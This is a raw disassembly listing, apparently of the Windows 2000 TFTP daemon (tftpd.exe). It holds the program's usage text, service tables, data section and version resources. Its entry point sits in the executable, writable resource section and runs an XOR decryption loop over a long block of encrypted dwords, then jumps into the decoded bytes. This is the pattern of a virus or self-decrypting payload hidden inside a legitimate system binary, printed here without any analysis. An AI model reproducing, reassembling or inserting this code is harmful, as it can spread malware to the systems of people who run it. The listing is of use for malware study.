		db ' It listens on port 69 for requests                              '
		db '         ',0Ah
		db ' and spawns a thread to process each request.                    '
		db '         ',0Ah
		db '                                                                 '
		db '         ',0Ah
		db 'TFTPD USAGE and Installation:                                    '
		db '         ',0Ah
		db '                                                                 '
		db '         ',0Ah
		db '  md d:/tftpd                                     (the StartDirec'
		db 'tory).   ',0Ah
		db '  copy //MohsinA_p90/test/tftpd.exe .                            '
		db '         ',0Ah
		db '  sc create tftpd binPath= d:/tftpd/tftpd.exe     (give full path'
		db ').       ',0Ah
		db '  sc query tftpd                                  (check if insta'
		db 'lled).   ',0Ah
		db '                                                                 '
		db '         ',0Ah
		db 'Start:                                                           '
		db '         ',0Ah
		db '    sc start tftpd -f                             (creates a log '
		db 'file).   ',0Ah
		db 'or  sc start tftpd                                               '
		db '         ',0Ah
		db 'or  net start tftpd                                              '
		db '         ',0Ah
		db 'or  sc start tftpd [-dStartDirectory] [-e] [-f]                  '
		db '         ',0Ah
		db '    Options: -e  use event log.                                  '
		db '         ',0Ah
		db '             -f  log to file.                                    '
		db '         ',0Ah
		db '             -dStartDirectory                                    '
		db '         ',0Ah
		db 'Info:                                                            '
		db '         ',0Ah
		db '  sc interrogate tftpd           (logs will be updated).         '
		db '         ',0Ah
		db '  sc query tftpd                 Check whether running.          '
		db '         ',0Ah
		db 'Stop:                                                            '
		db '         ',0Ah
		db '  sc  stop tftpd                                                 '
		db '         ',0Ah
		db '  net stop tftpd                                                 '
		db '         ',0Ah
		db '                                                                 '
		db '         ',0Ah
		db 'Variables that control what files can be read/written and by whom'
		db ':        ',0Ah
		db '   StartDirectory - only files there will be accessible.         '
		db '         ',0Ah
		db '                    LogFile is created here.                     '
		db '         ',0Ah
		db '   ValidClients - Clients matching this ip address can read files'
		db '.        ',0Ah
		db '                    eg. you can set it to "157.55.8?.*"          '
		db '       ',0Ah
		db '   ValidMasters   - clients matching this can write and read file'
		db 's.       ',0Ah
		db '                    eg. you can set it to "" and no one can write'
		db '.      ',0Ah
		db '   ValidReadFiles - only matching files will be served out, eg. "'
		db 'r*.t?t"',0Ah
		db '   ValidWriteFiles- only matching files will be accepted,  eg. "w'
		db '*.txt" ',0Ah
		db '                                                                 '
		db '         ',0Ah
		db 'Client:                                                          '
		db '         ',0Ah
		db '  tftp [-i] servername {get|put} src_file dest_file              '
		db '         ',0Ah
		db '  -i from binary mode, else ascii mode is used.                  '
		db '         ',0Ah
		db '                                                                 '
		db '         ',0Ah
		db ' ================================================================'
		db '======== ',0Ah,0
		align 8
; char ServiceName[]
ServiceName	db 'Tftpd',0            ; DATA XREF: sub_1001665+Bo
					; .data:ServiceStartTableo
		align 10h
; SERVICE_TABLE_ENTRYA ServiceStartTable
ServiceStartTable SERVICE_TABLE_ENTRYA <offset ServiceName, offset sub_1001665>
					; DATA XREF: sub_1001570:loc_1001646o
					; "Tftpd"
		align 10h
off_1005CC0	dd offset aErrorUndefined ; DATA XREF: sub_100230A+73r
					; "Error undefined"
		dd offset aFileNotFound	; "File	not found"
		dd offset aAccessViolatio ; "Access violation"
		dd offset aDiskFullOrAllo ; "Disk full or allocation exceeded"
		dd offset aIllegalTftpOpe ; "Illegal TFTP operation"
		dd offset aUnknownTransfe ; "Unknown transfer ID"
		dd offset aFileAlreadyExi ; "File already exists"
		dd offset aNoSuchUser	; "No such user"
		dd offset aOptionNegotiat ; "Option negotiation	failure"
		align 8
; BYTE Data
Data		db 2Ah			; DATA XREF: sub_1002F31+143o
					; sub_10037BF+87o
		align 4
		dd 0Dh dup(0)
; BYTE byte_1005D20
byte_1005D20	db 2Ah			; DATA XREF: sub_1002F31+154o
					; sub_100333A+163o ...
		align 4
		dd 0Dh dup(0)
; BYTE byte_1005D58
byte_1005D58	db 2Ah			; DATA XREF: sub_1002F31+165o
					; sub_10037BF+EAo
		align 4
		dd 0Dh dup(0)
; BYTE byte_1005D90
byte_1005D90	db 2Ah			; DATA XREF: sub_100333A+178o
					; sub_10037BF+11Ao
		align 4
		dd 0Ch dup(0)
dword_1005DC4	dd 1				align 10h
; FILE *File
File		dd 0			; DATA XREF: sub_1001665+1E5w
					; sub_1001E73:loc_1001F36r ...
dword_1005DD4	dd 0		dword_1005DD8	dd 0							; sub_1001665:loc_100182Er ...
; HANDLE hHandle
hHandle		dd 0			; DATA XREF: sub_1001665+84w
					; sub_1001665+8Br ...
; HANDLE hObject
hObject		dd 0			; DATA XREF: sub_1001665+91w
					; sub_1001E73:loc_1001F0Cr ...
		align 8
; volatile LONG	Addend
Addend		dd 0			; DATA XREF: sub_1001A91+26Eo
					; sub_1001A91+2B3o
; HANDLE hHeap
hHeap		dd 0			; DATA XREF: sub_10019F0+29w
					; sub_1001A1F+52r ...
dword_1005DF0	dd 0							; sub_1001A1F+5Ew ...
dword_1005DF4	dd 0							; sub_1001A91+59w ...
dword_1005DF8	dd 0							; sub_10018DB+EFr
dword_1005DFC	dd 0		; HANDLE Handle
Handle		dd ?			; DATA XREF: sub_10018DB+F4o
					; sub_1002219+D5o
		db 3 dup(?)
dword_1005E07	dd ?							; sub_1003910+6Br ...
		align 4
		dd 7Ch dup(?)
dword_1005FFC	dd ?		dword_1006000	dd ?		dword_1006004	dd ?		dword_1006008	dd ?		dword_100600C	dd ?				dd 4 dup(?)
; struct _RTL_CRITICAL_SECTION stru_1006020
stru_1006020	_RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_10018DB+14o
					; .text:01001D78o ...
; void *Memory
Memory		dd ?			; DATA XREF: sub_10018DB+2Ao
					; sub_10018DB+34w ...
dword_100603C	dd ?		; HANDLE hThread
hThread		dd ?			; DATA XREF: HandlerProc:loc_1001E1Dr
					; HandlerProc:loc_1001E35r
; SERVICE_STATUS_HANDLE	hServiceStatus
hServiceStatus	dd ?			; DATA XREF: sub_1001665+52w
					; sub_1001665+DBr ...
dword_1006048	dd 6 dup(?)	; struct _RTL_CRITICAL_SECTION stru_1006060
stru_1006060	_RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_10019F0+5o
					; sub_1001A1F+2o ...
; LPVOID lpMem
lpMem		dd ?			; DATA XREF: sub_10019F0o
					; sub_10019F0+Fw ...
dword_100607C	dd ?		; struct _RTL_CRITICAL_SECTION CriticalSection
CriticalSection	_RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_10018DB+Do
					; sub_100287F+1o ...
dword_1006098	dd ?							; sub_10018DB+25w ...
dword_100609C	dd ?		dword_10060A0	dd ?							; sub_10018DB+A2r ...
		dd 7 dup(?)
; time_t Time
Time		dq ?			; DATA XREF: sub_1001665+10Ao
					; sub_1001665:loc_1001857o ...
dword_10060C8	dd ?		dword_10060CC	dd ?				dd 0Ch dup(?)
; struct _OVERLAPPED overlapped
overlapped	_OVERLAPPED <?>		; DATA XREF: sub_10018DB+E0o
					; sub_1002219:loc_10022E9o
		align 10h
; struct _SERVICE_STATUS ServiceStatus
ServiceStatus	_SERVICE_STATUS	<?>	; DATA XREF: sub_1001665+10w
					; sub_1001665+63o ...
		align 10h
; struct WSAData stru_1006140
stru_1006140	WSAData	<?>		; DATA XREF: sub_1001665+9Co
dword_10062D0	dd ?		dword_10062D4	dd ?		dword_10062D8	dd ?				align 200h
_data		ends

; Section 3. (virtual address 00007000)
; Virtual size			: 00007400 (  29696.)
; Section size in file		: 00002A00 (  10752.)
; Offset to raw	data for section: 00004800
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_rsrc		segment	para public 'CODE' use32
		assume cs:_rsrc
		;org 1007000h
		assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
		dd 3 dup(0)
		dd 10000h, 10h,	80000018h, 3 dup(0)
		dd 10000h, 1, 80000030h, 3 dup(0)
		dd 10000h, 409h, 48h, 7060h, 374h, 4 dup(0)
		dd 340374h, 560000h, 5F0053h, 450056h, 530052h,	4F0049h
		dd 5F004Eh, 4E0049h, 4F0046h, 0
		dd 0FEEF04BDh, 10000h, 50000h, 8560001h, 50000h, 8560001h
		dd 3Fh,	0
		dd 40004h, 1, 3	dup(0)
		dd 2D4h, 530001h, 720074h, 6E0069h, 460067h, 6C0069h, 490065h
		dd 66006Eh, 6Fh, 2B0h, 300001h,	300034h, 300039h, 420034h
		dd 30h,	16004Ch, 430001h, 6D006Fh, 610070h, 79006Eh, 61004Eh
		dd 65006Dh, 0
aMicrosoftCorpo:
		unicode	0, <Microsoft Corporation>,0
aR:
		unicode	0, <r%>
		dd 460001h, 6C0069h, 440065h, 730065h, 720063h,	700069h
		dd 690074h, 6E006Fh, 0
aTcpIpTrivialFi:
		unicode	0, <TCP/IP Trivial file	transfer daemon.>,0
		align 4
a8		db '8',0
		dw 0Ch
		dd 460001h, 6C0069h, 560065h, 720065h, 690073h,	6E006Fh
		dd 0
a5_00_2134_1:
		unicode	0, <5.00.2134.1>,0
a4_0:
		unicode	0, <4>
		dw 0Ah
		dd 490001h, 74006Eh, 720065h, 61006Eh, 4E006Ch,	6D0061h
		dd 65h,	660074h, 700074h, 2E0064h, 780065h, 65h, 280074h
		dd 4C0001h, 670065h, 6C0061h, 6F0043h, 790070h,	690072h
		dd 680067h, 74h, 6F0043h, 790070h, 690072h, 680067h, 200074h
		dd 430028h, 200029h, 69004Dh, 720063h, 73006Fh,	66006Fh
		dd 200074h, 6F0043h, 700072h, 20002Eh, 390031h,	310038h
		dd 31002Dh, 390039h, 39h, 0A003Ch, 4F0001h, 690072h, 690067h
		dd 61006Eh, 46006Ch, 6C0069h, 6E0065h, 6D0061h,	65h, 660074h
		dd 700074h, 2E0064h, 780065h, 65h, 2F007Eh, 500001h, 6F0072h
		dd 750064h, 740063h, 61004Eh, 65006Dh, 0
aMicrosoftRWind:
		unicode	0, <Microsoft(R) Windows (R) 2000 Operating System>,0
		align 4
		db '<',0
		dw 0Ch
		dd 500001h, 6F0072h, 750064h, 740063h, 650056h,	730072h
		dd 6F0069h, 6Eh, 2E0035h, 300030h, 32002Eh, 330031h, 2E0034h
		dd 31h,	44h, 560001h, 720061h, 690046h,	65006Ch, 6E0049h
		dd 6F0066h, 0
		dd 40024h, 540000h, 610072h, 73006Eh, 61006Ch, 690074h
		dd 6E006Fh, 0
		dd 4B00409h, 0Bh dup(0)
		assume ds:_data

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near
		sub	edi, edi
		sub	ecx, ecx
		mov	cl, 1Ch


loc_1007406:				; CODE XREF: start+8j
		inc	edi
		dec	ecx
		jnz	short loc_1007406
		call	sub_1007431
		sub	ebx, 0FFFFFFDBh
		push	ebx
		mov	edx, 243Ch


loc_100741B:				; CODE XREF: start+2Cj
		xchg	al, [ebx]
		xor	ax, di
		xchg	al, [ebx]
		add	ebx, 1
		inc	edi
		sub	edx, 1
		cmp	edx, 0
		jnz	short loc_100741B
		pop	ebx
		jmp	ebx
start		endp


; =============== S U B	R O U T	I N E =======================================



sub_1007431	proc near		; CODE XREF: start+Ap
		pop	ebx
		push	ebx
		retn
sub_1007431	endp

; ---------------------------------------------------------------------------
		dd 1F1EF58Ch, 27A92120h, 0CA6D200h, 2B2A290Ch, 0A6AE2D2Ch
		dd 331B9DA8h, 136ABE34h, 0C7174D3Ch, 8F8EB465h,	0CA424169h
		dd 476FF1FCh, 64F2C948h, 0A74E4D68h, 0CB515C25h, 57567164h
		dd 0A45802D3h, 0D456B66Fh, 634650F8h, 3C559A64h, 7EBFC3Dh
		dd 56846948h, 90F37170h, 88898574h, 6B7C94F9h, 3F57D3Ch
		dd 360F85A4h, 87C6B1B8h, 8B8A8931h, 0E2A7E8Ch, 0FBC6DFEBh
		dd 9AE3E6FDh, 16A6DA13h, 1EF88598h, 0D7E7F198h,	0A74D24ACh
		dd 0DEAAA9A9h, 0D7FE264Eh, 0C13962B3h, 0AFFC3E94h, 16EB4ABBh
		dd 0C73F7EBFh, 0A685C13Fh, 46DDB0B0h, 0B99ACAB0h, 0DDBBAEA3h
		dd 92D5A951h, 0A2A4B1B0h, 0D0A258D1h, 0DFADAEB9h, 3400E494h
		dd 0CE25B8BDh, 9961CDE4h, 1CEDB4C8h, 0BDF646FFh, 0F4EA8F7Fh
		dd 7CCE7203h, 0F3160EFFh, 40020100h, 62756A68h,	6F646840h
		dd 5C0E6860h, 969BC7EFh, 17562028h, 1B1A14F0h, 7A6C5E1Ch
		dd 66475541h, 53484052h, 0D4792969h, 6FABA4FAh,	0DB327105h
		dd 37363539h, 774E5C7Fh, 7A4A4E5Dh, 312D3332h, 91B91644h
		dd 7E0ECCC1h, 3FA64D0Ch, 0D6525150h, 7772194h, 6E1ECCA7h
		dd 9FDB5D1Ch, 0E6EF7115h, 672674B6h, 839539E2h,	6F6E6D02h
		dd 0E68D0D9Bh, 77364048h, 4F4BFC8Fh, 7F7E7D3Ch,	9DF60180h
		dd 0B3B33009h, 0F70189C8h, 2A2A89A8h, 0AA200C1Bh, 221D95D4h
		dd 9BDAA02Eh, 0A6242017h, 60FFA1E0h, 0CDA6CFFEh, 0C1AAC3A8h
		dd 0AFAFC5ACh, 7739B1B4h, 0DDE6B5DEh, 447E32B4h, 0E0EAEB5Eh
		dd 0F0C2C1F3h, 381C2D0Dh, 5E473637h, 0CF8EDC6Dh, 83838082h
		dd 0E296402Bh, 1F59D998h, 2D541EFCh, 0E3C0BE59h, 0A7F6D5E4h
		dd 12083FEAh, 78F4742Fh, 654F80BBh, 8932BEDBh, 0A53F957Eh
		dd 285FC888h, 0AE8FF51Bh, 0CDC36C3Eh, 8F96862Bh, 0D2979C8Ah
		dd 0E536EB7Eh, 0DC45CE5Bh, 0A76D5A43h, 0FC544FCBh, 25B64BCEh
		dd 0DAD9BFFBh, 365C70ADh, 0D4F66DCBh, 0A53ADD8Eh, 0B622B05Bh
		dd 963F15FEh, 65EA60C2h, 948F35EEh, 8E2935A5h, 9A80B52Bh
		dd 9D82B91Eh, 0BAE7547Bh, 0D43F9D4h, 0A2F4D5ABh, 7E97C71Fh
		dd 0F58F5D18h, 8BED57Bh, 259F40BBh, 0DD1E23E3h,	9A0FFF3Bh
		dd 4DA2F54Eh, 0AAFF506Bh, 0C2299C8Fh, 900262A4h, 8DB74DBBh
		dd 91E65AA0h, 0DCB72D81h, 0E51F9516h, 8E02705Bh, 96FF15B9h
		dd 7EB552AEh, 990415B7h, 4D045591h, 18CA7832h, 0AEF72D91h
		dd 6CF31E90h, 4A692D0Ch, 0A65702F7h, 0C257EC0Bh, 65BA254Eh
		dd 0ADB35EBBh, 0E1D075AEh, 2248D329h, 0CF0FFFECh, 99715DAh
		dd 0E51755ABh, 82D7AC0Bh, 0A5BA654Eh, 82F7587Bh, 0DA21F06Fh
		dd 8D778774h, 610F9553h, 0CC9757DBh, 0CF68D983h, 3CBF3D0Ah
		dd 0DA8FF45Bh, 0CDC20D2Eh, 0E555DD2Bh, 0C8482D8Ah, 0A54FA0ABh
		dd 0D97F8B3h, 9BABBCABh, 0FD3D52F4h, 0F85D602h,	31A2A2F1h
		dd 0CE5FB55Eh, 0E074AE7Ah, 0E54FA04Bh, 3A13325Bh, 4DC0AA15h
		dd 3D57ED0Dh, 69CB2195h, 1888DDF7h, 659F80A3h, 0CAC49806h
		dd 6C3C953Bh, 3847C056h, 0EECED5EBh, 7F914598h,	580C35DBh
		dd 8D77E883h, 265B7AEBh, 56881275h, 253A41BEh, 0CE7C2DBh
		dd 96AA50E4h, 0B85C6D4Bh, 25CFC0B3h, 2F62D44h, 0A56C57AEh
		dd 8532A68Bh, 5A0FD5CEh, 8818FC2Bh, 65BF6642h, 0C88B2080h
		dd 6C6C351Bh, 2362C04h,	656C03EEh, 0A005858Bh, 58826AC4h
		dd 0DD70B15h, 0A5559A60h, 4DA834FDh, 266EF6DFh,	74749DD1h
		dd 0FDFDF7Ch, 4202A093h, 1C0FD56Eh, 0D977DC7h, 0E1F20120h
		dd 82285346h, 68245324h, 8D37907Fh, 8EB975EBh, 7673AA06h
		dd 3A37109h, 676CDF70h,	0CCF1BD6Bh, 0F15C6D0Bh,	0E104F531h
		dd 8D9F5DD1h, 8F57B52Bh, 37E57CCBh, 30F0C5F5h, 0DD7C8BBh
		dd 253BD6F3h, 0FD3E6363h, 0F5BBE5Bh, 0E7FBD6FBh, 4F5F9F2Bh
		dd 5D9D3F89h, 0E5665B53h, 5C97575Bh, 5A6FAA81h,	7D62099Eh
		dd 0A0D62ADBh, 0AAF3D244h, 0E8204AD6h, 9DA72D3Eh, 0AF7B2C7Bh
		dd 0E21C7DDBh, 8FE7058h, 7D97BD0Bh, 0F1C3B056h,	6DC8DD3Bh
		dd 3D3FE066h, 2225EDCBh, 253A09AEh, 0D81D5DBh, 0CA73D56Bh
		dd 4DA20664h, 53E6870Bh, 0EA9231D2h, 893EE34Eh,	5DF648FEh
		dd 0ED9A6AABh, 8497BD6Eh, 25CA192Eh, 9703FD0Bh,	9A705F7Bh
		dd 0CD02B16Eh, 7A9F706Bh, 376152FEh, 6E59C339h,	5F96578Fh
		dd 0A53F4403h, 7932BE0Bh, 42FA17BEh, 0FB1EAFEBh, 2BAD942h
		dd 22E12DEEh, 0E53AD9EEh, 5B53F6DBh, 0B32F83FDh, 0AD42525Ch
		dd 668F75EEh, 7260CDBFh, 65EA497Eh, 0B777878Bh,	159A6A39h
		dd 0B4977DEEh, 0A53FD443h, 0B436469Ch, 72DBD157h, 0B85BC844h
		dd 136CB56Bh, 6B8B8808h, 0F10F95BBh, 0BD02020Ch, 0E0FF159Eh
		dd 0BB0BD9CBh, 178BCBD8h, 0A943A215h, 4F5F9F63h, 0F56292A1h
		dd 600FD50Eh, 9E4B499Bh, 0A53B6803h, 0AC9EDE0Bh, 0A0B64538h
		dd 8D37EB87h, 0A45E9D5Eh, 0DDB72025h, 0F35FC12Bh, 5EC72D8Ah
		dd 0D0174054h, 0BD52AD4Bh, 1A804182h, 23FF90Fh,	65E9496Eh
		dd 20DB058Bh, 9A5C6AC4h, 4DA2014Eh, 24A73E6Bh, 3DD645CFh
		dd 0B070A25Bh, 8DB76887h, 1AA450C2h, 5DFEA074h,	0A557CDA3h
		dd 0D97D495h, 65FF58CEh, 0FD57AD0Ah, 658F355Bh,	8D375DFBh
		dd 0DA0CA33Ah, 1DC2251Eh, 49563E3Bh, 0F6E2FDDFh, 0F9FCBB09h
		dd 58248C49h, 40E21495h, 0E71592DFh, 16ABD64Eh,	0EF847AD7h
		dd 0D766C324h, 619708AFh, 890DA1D8h, 3ED7C36Eh,	91EE50A9h
		dd 0E15E9B1Eh, 66DF348Eh, 0A91688F9h, 966D35Eh,	7DF670BEh
		dd 0C251BC1Bh, 4F946D4Ah, 40FB943Eh, 0EE982FEBh, 0A42CC64Eh
		dd 38C56E8Bh, 0F76AE19Ah, 79F8903Eh, 179701CEh,	0FD33CC6Eh
		dd 4EA4718h, 0E563388Fh, 413E9019h, 38852E8Bh, 0B16AE15Ah
		dd 65FB5234h, 964F398Eh, 5C39BE39h, 4AE706ABh, 0F532DDCFh
		dd 0D8BC142h, 0B9D648F9h, 0C966D37Bh, 60FE29BEh, 0B61081CEh
		dd 18A3DE72h, 88E661B6h, 0E870DD1Eh, 49B6339Fh,	0A903ACEEh
		dd 106DFC49h, 4CE458AFh, 0D15A926Bh, 58BB044Dh,	40F59C08h
		dd 0F9921ABBh, 8033DC6Dh, 38DA44DFh, 0D16AD2FBh, 78F39216h
		dd 4B730C7h, 983BC965h,	0C8351Ah, 0E052098Fh, 4936B31Bh
		dd 309623EEh, 0A20FD45Eh, 68C3493Eh, 0C46F2586h, 3D16857Fh
		dd 73FB109Ch, 0E404AFDEh, 22DFDB44h, 0B8E159EEh, 0CA66E609h
		dd 4CEF38B5h, 841099ABh, 1FBEE16Fh, 9CFD54A9h, 0EC7ADD3Ah
		dd 40B6239Bh, 9B11A2FCh, 656AF952h, 63F24D94h, 0C053BC2Dh
		dd 4DA70C46h, 64E89B32h, 0E88712BBh, 8A2DE545h,	2EC448E8h
		dd 0CA7DC5FBh, 7EE49838h, 0CB96798h, 0FD23DE79h, 6E0470Bh
		dd 0BE442E9Eh, 5D3ABB59h, 38A46DFFh, 8966D34Fh,	79E37C3Eh
		dd 0D05D3C99h, 7C24887Fh, 51EA26DBh, 0E81BB4FDh, 0B2DC7Fh
		dd 0B8DB7E8Bh, 0F60FE51Eh, 68E30EA2h, 881681C6h, 3BB8F96Eh
		dd 0B1EA59B2h, 8D52B012h, 44B21BBEh, 0B81EBBFBh, 2369DA4Ch
		dd 0DF251B2h, 0D14DBC3Dh, 7CBB0C7Eh, 46E09937h,	0E4850ABBh
		dd 8C19D05Fh, 13B748E7h, 0CF6BD48Fh, 5DE38E2Eh,	0C893CD9h
		dd 9830C867h, 0EE06128h, 0C337339Eh, 402DB61Fh,	1B9219EAh
		dd 0E56AF952h, 7FD44915h, 0C04B348Eh, 5E389F5Bh, 25FC06BEh
		dd 0FF34A9F5h, 0ABD44Eh, 0BED85FDBh, 0E07CE61Eh, 79D97DA3h
		dd 841AA7E8h, 1884C87Fh, 8AE641B8h, 0F979DD15h,	73AF14A6h
		dd 920088E2h, 66AC65Dh,	63F854AFh, 0EA4B9B6Bh, 7BB9087Bh
		dd 25EA9932h, 0FDB829F5h, 970FDB4Eh, 2ED24EE4h,	0CE60C188h
		dd 4397933Eh, 0A8D05DFh
		dd 8934C87Fh, 11FD5C0Dh, 0C05B3C8Eh, 5730980Eh,	29B96DF2h
		dd 9166E76Ch, 7FFE6B3Eh, 0C95E209Fh, 523A8846h,	778F0CA9h
		dd 0E322B1CFh, 1B0D642h, 0AFC37EEEh, 0F168FB12h, 7EF93CB4h
		dd 970B86C2h, 7DB0C362h, 0B6CE668Ch, 0F945BC0Fh, 46DF059Eh
		dd 0B80482E7h, 0E6CFA48h, 6E9749BEh, 0C051BB04h, 5AD71968h
		dd 4AE7813Eh, 0F49529C8h, 8032D445h, 3ED25F8Bh,	0C07C958Dh
		dd 7E979935h, 9436C4h, 931EAD7Fh, 0BFD502Fh, 0E174299Eh
		dd 6D3A8604h, 319303EAh, 8B46955Eh, 63E5582Fh, 0C078218Eh
		dd 5338AE7Fh, 51EC10B5h, 0F924B9DEh, 65BAC14Ah,	0B8C343C2h
		dd 0D16AFB09h, 63F20D94h, 8B36D5EAh, 13A5C87Fh,	95C041BEh
		dd 0FF62B31Eh, 6CDF3487h, 0AF1299E5h, 377BF055h, 4BF35CBEh
		dd 0A55AB902h, 7C81294Ah, 17BCBC0Bh, 0C1BB1995h, 823AE72Bh
		dd 2ED841C8h, 0DC6ADE9Eh, 6AF2AF5Bh, 0B9A25E4h,	0B82EC840h
		dd 378F7423h, 0F8663A9Eh, 7326870Eh, 388201EAh,	0E54EED7Eh
		dd 5EF05809h, 0C469218Eh, 78329867h, 0A68F34A3h, 455CD852h
		dd 65DFDD7Ah, 913AC58Bh, 0A565965Fh, 5DC678B1h,	6E7ABFF8h
		dd 0A95CFDC7h, 0A5E5618Bh, 72648F2Ah, 65EA857Eh, 0D1B36E8Bh
		dd 50FB00C4h, 0C9143D9Bh, 28681663h, 7DC2DC8Eh,	7570C65Bh
		dd 839D5DD1h, 0D0FB20D4h, 9D322DCBh, 0A59F11F4h, 65C7FD5Bh
		dd 65FF3C65h, 0FD3D7980h, 25E5F9D0h, 9D375D93h,	775D9F6Bh
		dd 939F6DE1h, 8F0F9552h, 5DC46C5Bh, 90DBC014h, 6408ED4Bh
		dd 10B3E024h, 72F2DDFBh, 0E854E95Fh, 0DDF73803h, 30829998h
		dd 0DD76DDBh, 0B62804A8h, 0F85C7FF4h, 0E5CF000Fh, 0AEA352F6h
		dd 713775EBh, 56881274h, 253A7DBEh, 0EC18B0DBh,	4D3FD548h
		dd 0C2289248h, 105770D0h, 27A5DFBh, 0E55F96C3h,	0A2481F63h
		dd 798A1E04h, 8897BD6Eh, 0E8F4216Bh, 0FD745884h, 9A92DD5Bh
		dd 4ABCA204h, 0CD0A3634h, 5DF76D8Bh, 0F1E21466h, 3E977D41h
		dd 0BBAD822h, 6C57AD16h, 75DE248Fh, 18888CEAh, 659F8047h
		dd 2293290Ch, 0E53AA9EEh, 95520DBh, 0E59780ABh,	20D7AD0Bh
		dd 0FFCCD85Ah, 725DDD3Bh, 3FD1E066h, 8F27EDCBh,	652BB5F6h
		dd 0C9143DF1h, 20F8B367h, 3D97775Fh, 0A048D596h, 8DB747EDh
		dd 0E575B50Fh, 5CDDEED6h, 96F09491h, 0F2938EA4h, 113FD0BEh
		dd 0FD5CC5FBh, 0B504355Bh, 0B1675EA0h, 3F2D40E6h, 0E77C6DCBh
		dd 0E50F9437h, 0C9FB7D0h, 5D3C55EBh, 0B6372620h, 44298610h
		dd 6F30D8CFh, 0E61D5EDEh, 56E0224Ch, 6984C6AFh,	4DFD298Bh
		dd 1A1587FAh, 482738F4h, 210C359Bh, 0F9A25677h,	0EDF35DEh
		dd 0DA9D6E5Ch, 656592FCh, 5A1E3D33h, 0BF551668h, 3DDE8553h
		dd 6702F55Bh, 4409F7DAh, 8C9C455Eh, 1D816B1Eh, 0AD8B90FBh
		dd 981EBF53h, 65BF63EDh, 0A8944FFCh, 658F35B3h,	60B600FBh
		dd 251FEE62h, 6BBDF000h, 998C957Bh, 297357Fh, 0A53FEC6Fh
		dd 35BB6C0Bh, 718F75D9h, 8D76D9D3h, 0F54A4A2Bh,	56B76DBEh
		dd 818B1887h, 0D977CDFh, 0D7FBFFBh, 7DD7AD0Fh, 0E5DB678Dh
		dd 1A2222Ch, 16DF35DEh,	0D9E06042h, 340F953Ah, 5C95578Ah
		dd 0A557D401h, 6F976D0Bh, 10D360A4h, 8615DFBh, 0B504C1DDh
		dd 5CB345DFh, 5A5895FBh, 0FB7D9EFh, 0F00055ABh,	0FD179B23h
		dd 114FB002h, 0DD23BEEDh, 253521E0h, 0BA03CD9h,	0D0C300C4h
		dd 88CE3D1Bh, 0F3EF202Bh, 86B78F4h, 7202759Bh, 0E7208FFFh
		dd 0F252ED6Fh, 0DDB72C8Fh, 0CFCFA6D0h, 0A66424CBh, 0B52F85FBh
		dd 2F87FD5Bh, 0D0EBA024h, 49B6DD3Bh, 25DF77E3h,	0D5539974h
		dd 531700C4h, 0F2C43D9Bh, 0E509CDFEh, 3915300Bh, 2FB1755Bh
		dd 6B15CCEh, 0A54A31A6h, 0D0AECE8Bh, 0E51F956Eh, 5B46FE5Bh
		dd 0A57B8754h, 0FC482504h, 0E180355Bh, 8D375CEBh, 5065CBEBh
		dd 63772B9Bh, 0E48B9A3Bh, 8D973D5Ah, 544A75D5h,	6D696C4Dh
		dd 50C83B92h, 4BB856F9h, 4E90B46Dh, 0DDDD7C45h,	5A5CC32Ah
		dd 4DA16D4Eh, 24448CABh, 7D082804h, 600235DBh, 8D77C0D9h
		dd 29B77581h, 8D77ED8Bh, 759A6A68h, 30977DEDh, 0A53FD567h
		dd 3D68E804h, 9466F55Bh, 0CF75DBBh, 0AC0DE515h,	0F83222DDh
		dd 260F95FBh, 313BF59Dh, 0FC7B5AA6h, 0C157AD0Bh, 0C97C407Bh
		dd 83867C7h, 255FF5E7h,	7DD76026h, 0C432B51Bh, 78E3583Ch
		dd 8503F994h, 43D6917Eh, 51E75524h, 0C06A8CFh, 5FAFB655h
		dd 0B5C202A4h, 0A5F0D2BDh, 1D2D4CD4h, 127FD58Ch, 0E828FFE9h
		dd 0E5CF0067h, 0DD671D48h, 2C3725BBh, 9977ED8Bh, 961E254h
		dd 0DF35CB4h, 931F4094h, 0FD526D4Bh, 0ECBCC32Fh, 0BBBDD832h
		dd 8D0EB56Bh, 0DDB72F8Bh, 0F559C4AAh, 3BB368A4h, 0F07255EBh
		dd 0FD17B608h, 3146060Bh, 0DC650DAAh, 49CA0A3Ah, 0DAF72DBEh
		dd 70F0B13Fh, 0DD70867h, 28BF9613h, 3D17F87Ch, 764C8CDAh
		dd 0DA239BF4h, 399AE76Ah, 0AFD444C6h, 0C360E614h, 64C021AFh
		dd 9210B1C5h, 894F178h,	8BEA47A9h, 0FF528B0Fh, 4BB01C98h
		dd 0AD0FA8D7h, 7DFA57h,	6CC33DA9h, 0D15AB219h, 49A40243h
		dd 0DA8FF75Bh, 8DF7224Bh, 8A2DC52Ah, 73DA44F3h,	0C26CE792h
		dd 75F6913Ah, 98F7BD2h,	0BE1EE30Bh, 17E21510h, 0FF442981h
		dd 70558411h, 7DA528D8h, 0D53DA542h, 2DA60D6Eh,	851175C5h
		dd 721DC031h, 3AF3B92h,	0F905B4CDh, 8D8ABF5Eh, 0DDB72D8Bh
		dd 11E21426h, 0CB973DC6h, 0A56AA22Eh, 0E828AD0Bh, 0E5CF004Fh
		dd 0F92835BAh, 0AEC11FD7h, 9D42BD3Eh, 59A3CC3Bh, 6BBD48F5h
		dd 0B8C0EBEAh, 805A4E7Eh, 25CFC31Bh, 0DAF52B30h, 68FAD38Eh
		dd 1D84470Eh, 358A1AFBh, 0F797BD68h, 0E9051322h, 4CAC5345h
		dd 8E40D75Ah, 3CB2D0B8h, 755FB57Eh, 539D6DE1h, 0D0AB00C4h
		dd 71143D1Bh, 0D03B5DCFh, 3D530520h, 63DC75DBh,	1888DDF8h
		dd 659F80A3h, 224B6563h, 0A5087D84h, 4BC47DDBh,	0B6308AE8h
		dd 0F542520Bh, 0D8F75EEh, 72C8214Ah, 0DA2C2303h, 0DEFA1274h
		dd 8D0FD528h, 0D973DD0h, 0F77A863Eh, 79F95F38h,	0DA8FB917h
		dd 0CDC2C12Eh, 0E5555D2Bh, 2EC02D8Bh, 0CB66E78Bh, 0DD69B2Fh
		dd 2D6AAAFBh, 7457ED3Eh, 25BA61DEh, 652FBh, 654715E6h
